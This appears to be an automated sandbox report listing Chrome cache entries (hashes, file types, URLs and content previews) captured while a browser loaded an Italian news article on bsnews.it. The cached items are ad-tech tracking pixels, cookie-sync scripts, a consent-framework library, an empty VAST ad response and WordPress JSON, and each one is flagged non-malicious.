Preview:	(function() {.try {. if (typeof window.MtBts === 'undefined') {. window.MtBts = function() {..metric = function(url, wait)..{.. setTimeout(function() {. var e = new Image();. e.src = url;. }, wait);..}..var intervals = [0, 10];..var inlen = intervals.length;..for (var k = 0; k < inlen; ++k). this.metric("https://pixel.mathtag.com/comp/img?mt_id=99&ns=xx&bcdv="+k, intervals[k] * 1000);. };. window.MtBts().}.(function(){./**/..})();.(function() {. try {. if (document.getElementById('mm_sync_back_ground')). return;. var frm = document.createElement('iframe');. frm.style.visibility = 'hidden';. frm.style.display = 'none';. frm.src = "https://pixel.mathtag.com/sync/iframe?mt_uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&no_iframe=1&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635&mt_exid=10082

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	585
Entropy (8bit):	5.036171004516797
Encrypted:	false
SSDEEP:	12:YGK45Q1/4qejRdrDbzQzrd9EHlAHX9N5VLRdWp86Nmx7FYu:YdQjRdfM90A3j/LRdWpVmx7FYu
MD5:	01BC89E3B6A21C863895746AA72F08E5
SHA1:	03A8ED07F12B2AB43590F32771A6F5EB144A49CB
SHA-256:	18BBC43277D926A48DE1E51716D25AB2EC1564D325CDE111E7ED602EBEA7043C
SHA-512:	7474DB89174D32BC7E2684E2D1C1573EC93A23E1365A3912A54D0CEEB0792F936564E8A725F6D3586F55D880E3DD9206F220083F2DD0FE73DA0E0A53C8C6CCDE
Malicious:	false
Reputation:	low
Preview:	{"code":200,"headers":[{"name":"Content-Type","value":"application\/json"}],"body":{"\/me":{"status_code":403,"errors":{"error":"authorization_required","message":"An active access token must be used to query information about the current user."}},"\/sites\/123231640\/posts\/95325\/likes?chronological=true":{"found":0,"i_like":false,"can_like":true,"site_ID":123231640,"post_ID":95325,"likes":[]},"\/sites\/123231640\/posts\/95325\/reblogs\/mine":{"status_code":400,"errors":{"error":"method_unavailable","message":"This endpoint is only available on WordPress.com hosted blogs."}}}}

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.620151695116031
Encrypted:	false
SSDEEP:	3:YJH/7J3g0G8WVCK:YJ/N3g0xK
MD5:	AC20712FE8CB538905902EC7D7F4C47B
SHA1:	2910FAD23C226BB31531B94D61DB9333E453CF28
SHA-256:	2059FDB4F25C98EE2125E274E45E6685E9610167348613BB717517EE677460EC
SHA-512:	A563610B55E2CA74A2BAAECA8ED64DB3B27C6D3466F66074FF7F3E69130F1186F5159F8B42F8DD7144E1CA8628F5E9C20F47AAC567BC32E31C2764C92A7E9542
Malicious:	false
Reputation:	low
Preview:	{"lb":"w8k/o5pRctHREaAr+cY30g=="}

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3669
Entropy (8bit):	5.098298981196191
Encrypted:	false
SSDEEP:	96:ft5GEg95jnzHYpPsc6/4T5LWd3VWdBWdBWdfWdxygyqpEo5jz:fHg9xzuPsc6ATdWd3VWdBWdBWdfWd0gZ
MD5:	40DE430D46A18011A001784688617C04
SHA1:	4AD9F5332B8B9D13702CDE66B916354E9FBCA38D
SHA-256:	64445F11B671C53924A9D78FE80DFB3A9B9865F3DBA059D75A4176B018F7E37D
SHA-512:	62300D3D619A269CB743E57E92720AA402A36CEBFBB5409E10FE440297B883F3365723C87FBF80D3912C6B619DAE0A740167D5E60A7D22EC582728619FFC90F0
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/?relatedposts=1
Preview:	{"version":"20240116","show_thumbnails":true,"show_date":true,"show_context":true,"layout":"grid","headline":"Correlati","items":[{"id":9809,"url":"https:\/\/bsnews.it\/2014\/12\/18\/mobilita-sostenibile-tra-le-citta-italiane-brescia-e-la-quinta\/","url_meta":{"origin":95325,"position":0},"title":"Mobilit\u00e0 sostenibile, tra le citt\u00e0 italiane Brescia \u00e8 la quinta","author":"Redazione BsNews.it","date":"18 Dicembre 2014","format":false,"excerpt":"Nella classifica nazionale delle citt\u00e0 d'Italia con la miglior rete di mobilit\u00e0 eco sostenibile, Brescia si aggiudica il quinto posto. A pesare sulla classifica sono pi\u00f9 fattori, dal numero di parcheggi scambiatori e a pagamento, alla diffusione delle piste ciclabili fino al livello di incidentalit\u00e0 sulle strade, ma anche la\u2026","rel":"","context":"In "Cronaca"","block_context":{"text":"Cronaca","link":"https:\/\/bsnews.it\/category\/notizie\/notizie-categoria\/notizie-cronaca-brescia\/"},"img":{"alt

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	977
Entropy (8bit):	5.131980187657942
Encrypted:	false
SSDEEP:	24:2zvYusFDqtmD+/2OvgIIoVNPahN1eGdYcPRzB0s0IhRiGS:ivYvFDq+XDmPahvh1PRzBp0yRJS
MD5:	EB0E371DFEDC1FD864DF93A229D13CBD
SHA1:	523692E08EE0AA38DACC11CEE186B0F9A7AB0CEC
SHA-256:	303239E924FCEEB1F72F8D1AC04B9BA3DD85FECEB27841D12734DCD18F98C80B
SHA-512:	195D581A6884F528B464D561758D9942D06EC85DE147BEF267C19B55481C64D4973C79777714FDA25EFEAD32D3E8A519EC628F28E0E23DE127B64D305EB3B724
Malicious:	false
Reputation:	low
Preview:	(function (sn, asap) {...var tnc = this && this.addTPScript ? this : window[(document.querySelector('script#tnc_core') \|\| {}).global \|\| '__tnc'];...tnc && tnc.addTPScript ? tnc.addTPScript(sn, function(){....var promise;....try {.....var tncid = this.tncid \|\| ''......, eid = this.eid \|\| ''......, vendorendpoint = `https://loadus.exelator.com/load/?p=1541&g=1&buid=${eid}\|${tncid}&j=0`......, options = {.......height: 0,.......width: 0,.......tabindex: -1,.......'aria-hidden': true,.......style: 'position:absolute!important;top:0px!important;left:0px!important;width:0!important;height:0!important;border:0!important;'......}, body = document.querySelector('body');.......if (!tncid && !eid) {......promise = Promise.reject('Missing tncid and eid');.......} else {......promise = this.loadIMG(vendorendpoint, options, body);.....}....} catch (err) {.....promise = Promise.reject(err);....}....return promise.catch(console.log);...}, asap) : null;..}.bind(this))('nielsen');

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.322445490340781
Encrypted:	false
SSDEEP:	3:CUdxkhpse:Xi/se
MD5:	629CCC774AED95B2C6BEC91151F7292D
SHA1:	43B6BD98F07994B7B4D666FA04C895F145F28667
SHA-256:	56B97F9BCB141CC4E04EBE1320DD6DAB5FAC7166C6977F92783E5762D2688E10
SHA-512:	70A7A30649F6641A6DA10AE29B7AFE198CB8CADB3F12C6910A7C45A0296982473B7828EC049CF24C6F9250E675ED9B30B3A2BA458122A5593EA4B908A1B809ED
Malicious:	false
Reputation:	low
URL:	https://c.gumgum.com/images/pixel.gif
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.4871307703771315
Encrypted:	false
SSDEEP:	3:vVKaIwdvvXTV/3nFadL2oGEAZufXn:v8aICzO8HZU
MD5:	A36EAEFE406198FCEB6275009A6EEBA6
SHA1:	61D9880F04A8A070ABC347B689FA657767FB9B65
SHA-256:	A7D7C178B1CFFA02F2FD8B96080A3CC4B3CC9552D8A4C2BDE13A5BF527571188
SHA-512:	C1725577A93BFA318E5EFA4092115FAD6B5BDDBE93CAB84113A4E01665014B8E0D1807FD76C8D7D66D9B8CB065F36B2FBE5C4EC80B5A304A641F0F4ED0F5A6A6
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/wp-bannerize-pro/public/css/wp-bannerize-admin-bar.min.css?ver=1.6.9
Preview:	#wpadminbar #wp-admin-bar-wp-bannerize-pro-parent-admin-menu .ab-icon::before{content:"\f232";top:3px}

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	610
Entropy (8bit):	4.9683604996741
Encrypted:	false
SSDEEP:	12:hY0JYygMw5HXAEdvDJlXjD6HuND6w8E5eX4i/JVWXadHQL:hY0JYtMw5HQERJlXSOcw8E5tIVWXadg
MD5:	48053D50141031B1511DBD30F9A31288
SHA1:	06966364D22A02A4ED89C18C38D6DDFC6DE254C6
SHA-256:	6139E1FC0D3709EEBBE2B18510CF24361B9F8A538C3529A73C282BAFE6C78474
SHA-512:	CB9B682CD8D639602D58BB7BF4B4A8286CB9C3359182C358D4A34DFFD1DFAFA006BA861358C685E59F2C5EEE034CC081BB0834BECC04ACF24C348637156967BC
Malicious:	false
Reputation:	low
URL:	https://widgets.outbrain.com/nanoWidget/externals/cookie/test.html
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <meta http-equiv="X-UA-Compatible" content="ie=edge" />. <title>Cookie</title>. </head>. <body>. <script>. if (window.parent) {. if (/thirdparty=yes/.test(document.cookie)) {. window.parent.postMessage('OB:3PC-true', '');. } else {. window.parent.postMessage('OB:3PC-false', '');. }. document.cookie = 'thirdparty=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';. }. </script>. </body>.</html>.

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	27
Entropy (8bit):	4.236368983644951
Encrypted:	false
SSDEEP:	3:ILNHX9ZKIcn:YVXOIc
MD5:	5F631DB49306435AE8CDB4D0C36F1263
SHA1:	F8B283D1F2A7B552120B9878D8F15E977AA683B4
SHA-256:	A71702232A771B558B12F8C0012A15F5652B500FD2E33464D283406CEE36754D
SHA-512:	FA9B8718F26F4724FF17A3927AF43E626BDE950F4D0B3E51D126F4E3D971D990630848E9DFA21E12A7ADC7D4F7AFD1D73471941191D115153BF9498236B612A6
Malicious:	false
Reputation:	low
URL:	"https://ice.360yield.com/advast?p=22783176&w=16&h=9&minduration=1&maxduration=60&player_width=535&player_height=301&referrer=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&gdpr=0&gdpr_consent=&vast_version=3&vpaid_version=2&video_format_type=outstream&schain=1.0,1!movingup.it,109,1,,,!showheroes.com,1172,1,,,"
Preview:	<VAST version="2.0"></VAST>

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?cid=34122689247221709290423443350864137659&zpartnerid=314&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/casale/ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum.casalemedia.com/rum?cm_dsp_id=65&external_user_id=AAACnKW57nBfGAN2AhY5AAAAAAA&expiration=1711702324&is_secure=true
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	5.447338730128089
Encrypted:	false
SSDEEP:	3:YA0fRGPaaUZAiR2Xlj9t/fVdOpVqdtadQhVhK:YAmRndex9NwVmtWQh/K
MD5:	4AF27FA689DA443C80C9722E9A69A3E7
SHA1:	DF3490C1BFF62A9E9B9ADDD84A055091DD1925B6
SHA-256:	C2350344AE389A640D123AA5BBDCFB1F50C6C8BFB78419A0366306EE8D6C7F91
SHA-512:	F1CCB9A26F507E9E95F132F640B4D4B9C5D699531FAFE76955FEFD84F5CC21085EF82D2AB6DC40742E1BBE365917F9AF6488AB41EADC3D24FD5D2B3E9D595D1C
Malicious:	false
Reputation:	low
URL:	https://oajs.openx.net/esp?url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&rid=esp
Preview:	{"esp":"eyJpIjoiL21LQ1VPeGtEV2d6Y1o3ODVENFZHZz09In0=","i":"/mKCUOxkDWgzcZ785D4VGg=="}

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://track.sunmedia.tv/?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=op&pos=0&loop=1&pb=1&dnt=1&rnd=1711615871094
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 496

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://sync.crwdcntrl.net/map/c=14516/tp=OBRN/tpid=v0AzJsI2nziHah6o4johN2RyxXGWXzGD4-NLxP6JfGc_AGBwGEB3RT3aBpEFi7UQ
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 497

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (617)
Category:	downloaded
Size (bytes):	59877
Entropy (8bit):	5.12152159073146
Encrypted:	false
SSDEEP:	768:ISXEH1pCAAyZooo6jNE3S9pY4ScTuK4OtfhyNz:/iG6t9pZQXz
MD5:	75C313B84F00AABD31A302881C2793AB
SHA1:	72F170714F69777E734D489258D22B086715C207
SHA-256:	144EFB2951196373B0F9D1E5CB8BC69CC99BBDC566E7DCE966DDCCA1694BDF79
SHA-512:	106E69AEDEAE1C6BF207B3B521638194E55096DA3DEF36E5C03F3A66DA474CFB4EB677D382F05D2FB4A2FFACB9FCA0261F570EE7CD4871432CF84C26429AA0AD
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/js/digistream-playlist.js?v=1672219012
Preview:	window.digistream_playlist_count = window.digistream_playlist_count \|\| 1;.window.digistream_players_counter = window.digistream_players_counter \|\| 0;..if (typeof window.iniettaCss == 'undefined')..window.iniettaCss = function(url, id){...if (typeof url == 'string')....url = [ url ];....var link = document.createElement('link');....link.setAttribute('rel', 'stylesheet');...link.setAttribute('href', url[0]);....document.head.appendChild(link);....if (url.length > 1)....iniettaCss(url.slice(1));..};..if (typeof window.iniettaScript == 'undefined')..window.iniettaScript = function(url, callback){...if (typeof url == 'string')....url = [ url ];....var s = document.createElement('script');....s.setAttribute('src', url[0]);...s.async = true;....if (url.length > 1)....s.onload = function(){ iniettaScript(url.slice(1), callback); };...else if (typeof callback == 'function')....s.onload = callback;....document.body.appendChild(s);..};..if (typeof window.digistream_players == 'undefined')..window

Chrome Cache Entry: 498

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (826)
Category:	downloaded
Size (bytes):	2135
Entropy (8bit):	5.199482268913435
Encrypted:	false
SSDEEP:	48:T7HuzBd/LmRF8JGCKE6fYw7yaSNp6zWRxopkNGdaiCMb0jTBV:2HKYGU+j0jP
MD5:	6BAC4792236FA70ABD5352602A0DEB6F
SHA1:	1FA59F652CD428790DBFDFAF8106A01147E77905
SHA-256:	18CBFCB608AF5885F7916274B60578D32006C90E8FCE3D98DBCC89A646707608
SHA-512:	8DCC2B0AB533547B72CDA720CB89B1419FDE47CF1215F75CD824F0592CD275C04F2839F6F13B3332B2B4C08B282BC5C63631EEB9BA93E0C2F33B78EEBD789468
Malicious:	false
Reputation:	low
URL:	https://s.e-planning.net/esb/4/1/3fb8/7bb4893a30d21aef/retargetly_030920.js
Preview:	(function(_w, _p, _t){..var runSecure=function(f, a) {....var r; try{r= f(a)} catch(e){}; return r;...},...getWHref =function(_w_) {....return runSecure(x => x.location.href,_w_);...},...getWDocRef =function(_w_) {....return runSecure(x => x.document.referrer, _w_)...},...getURL = function() {....var th = getWHref(_t);....return th ? th : getWDocRef(_p) \|\| getWDocRef(_w)...},...getDomain = function() {....return (getURL().match(/(?:https?:\/\/)?([^\/?#]+)/) \|\| [])[1];...},...isIfInIf = function(){....return (_p != _t); ...},...isDoubleNonFriendly = function(){....return isIfInIf() && !getWHref(_t) && !getWHref(_p);...},...r = /((lanacion\.com\.ar)\|(ciudad\.com\.ar)\|(cronica\.com\.ar)\|(diariouno\.com\.ar)\|(americatv\.com\.ar)\|(cronicatv\.com\.ar)\|(debate\.com\.mx)\|(elheraldodechihuahua\.com\.mx)\|(elheraldodetabasco\.com\.mx)\|(elheraldodechiapas\.com\.mx)\|(cooperativa\.cl)\|(trome\.pe)\|(elheraldo\.hn)\|(cadena3\.com(\.ar)?)\|(primiciasya\.com)\|(minutouno\.com)\|(ambito\.com(\.ar)?)\|(perfil\

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8135)
Category:	downloaded
Size (bytes):	8136
Entropy (8bit):	5.3593410759944105
Encrypted:	false
SSDEEP:	192:dEoLAqcX2pFY46YCbCAMOO4GGZ3Dce3Ar/M42fwRn4slrpsUmalZa7sptjqhyDUV:/LAqm2nY46YCbCAMOO4RZ3Dce3Ar/M40
MD5:	BC9951164BB30D31C6A1C047A9D8C363
SHA1:	AB2A9F22237CCFE93FA1893FFD91E253F72E2A15
SHA-256:	7FBB5EABF9724734A7EC26D08C6030A6B2724DD383687D4630D9437919FB4858
SHA-512:	77B14E52242F05C73E488BF13C693AB4707FC3372EBD53923E594F0301ECDA5A8EDD13BF6035D8479BE234EEC9160E3A4FE8C566EC92376D372652096216944D
Malicious:	false
Reputation:	low
URL:	https://cstatic.weborama.fr/iframe/external_libs.v2.js
Preview:	!function(c,d){if("function"!=typeof c.__tcfapi){for(var a,e=c,n={};e;){try{if(e.frames.__tcfapiLocator){a=e;break}}catch(e){}if(e===c.top)break;e=e.parent}a&&(c.__tcfapi=function(e,t,o,i){var r=Math.random()+"",e={__tcfapiCall:{command:e,parameter:i,version:t,callId:r}};n[r]=o,a.postMessage(e,"")},c.addEventListener("message",function(e){var t={};try{t="string"==typeof e.data?JSON.parse(e.data):e.data}catch(e){}e=t.__tcfapiReturn;e&&"function"==typeof n[e.callId]&&(n[e.callId](e.returnValue,e.success),delete n[e.callId])},!1))}c.Utils={version:20240307,isCookieSet:function(e){return d.cookie.match("(^\|;) ?"+e+"=([^;])(;\|$)")},areCookiesEnabled:function(){var e=!!navigator.cookieEnabled,t=navigator.userAgent.toLowerCase(),t=-1!==t.indexOf("msie")\|\|-1!==t.indexOf("trident");return void 0!==navigator.cookieEnabled&&!t\|\|(d.cookie="__wtestcookie",e=-1!==d.cookie.indexOf("__wtestcookie")),e},getCookieName:function(){var e,t=Config.cookieName;return t\|\|(e=this.getDataSyncKey(),t=Config.coo

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum.casalemedia.com/crum?cm_dsp_id=156&external_user_id=7687c594-1bff-4b8d-b7fd-ac5b0069f223
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1881), with no line terminators
Category:	downloaded
Size (bytes):	1881
Entropy (8bit):	5.555487096214593
Encrypted:	false
SSDEEP:	48:CcPB/jF/tB/HBi/ZfTdUusyupGBYuwnTt53ksq:CM/h/b/hlfXPDJhq
MD5:	EDA0B897EDF4B6312C3176AF3AC3DAB7
SHA1:	D4B7EB28934050958D5F5A3FF1C27CB7466B2DCE
SHA-256:	55A8A1A11976CF024B5F9BF9553498EBC1507CE3071CB4A1047CE546D200C60D
SHA-512:	46345EBF89D9F645C90615D1D82EAEE4F81C39FB1B53C1A51435253D90FD01830BE213B22D634FB7725E2B3461A46D9EDF0CF8770DB266CE35ED91393320141D
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=23050330&p=156136&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://crb.kargo.com/api/v1/dsync/Martin?exid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.bfmio.com/sync?pid=187&uid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://match.deepintent.com/usersync/141?gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://cm.adgrx.com/bridge?AG_PID=pubmatic&AG_SETCOOKIE&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=');PubMatic.l

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 218x150, components 3
Category:	dropped
Size (bytes):	9422
Entropy (8bit):	7.930163286966254
Encrypted:	false
SSDEEP:	192:UW7yrNG9XHFw0ZWcJ+WUyl5EXgWR+SlWmseA5oqhuS:97yrNG9XLWcMWDlSXgWRwjeIog7
MD5:	EA8765B86FB7CCD5B3262C19963E8D87
SHA1:	23DB88B733BED073D99BDE8E02DB9AA3CDD837F1
SHA-256:	12AC018E10AB27B3F6F56E9978ABDEA084C7043751485CA11C75EFF6BCB8B158
SHA-512:	61192CABA5B505336E950AE4FD4B853A3DD7B99570A69E2D5A9BCFEE01647B765E01E8C7E1753A4E5736C3862485D01A41029A25F39EE3C22126DB75C048A9E2
Malicious:	false
Reputation:	low
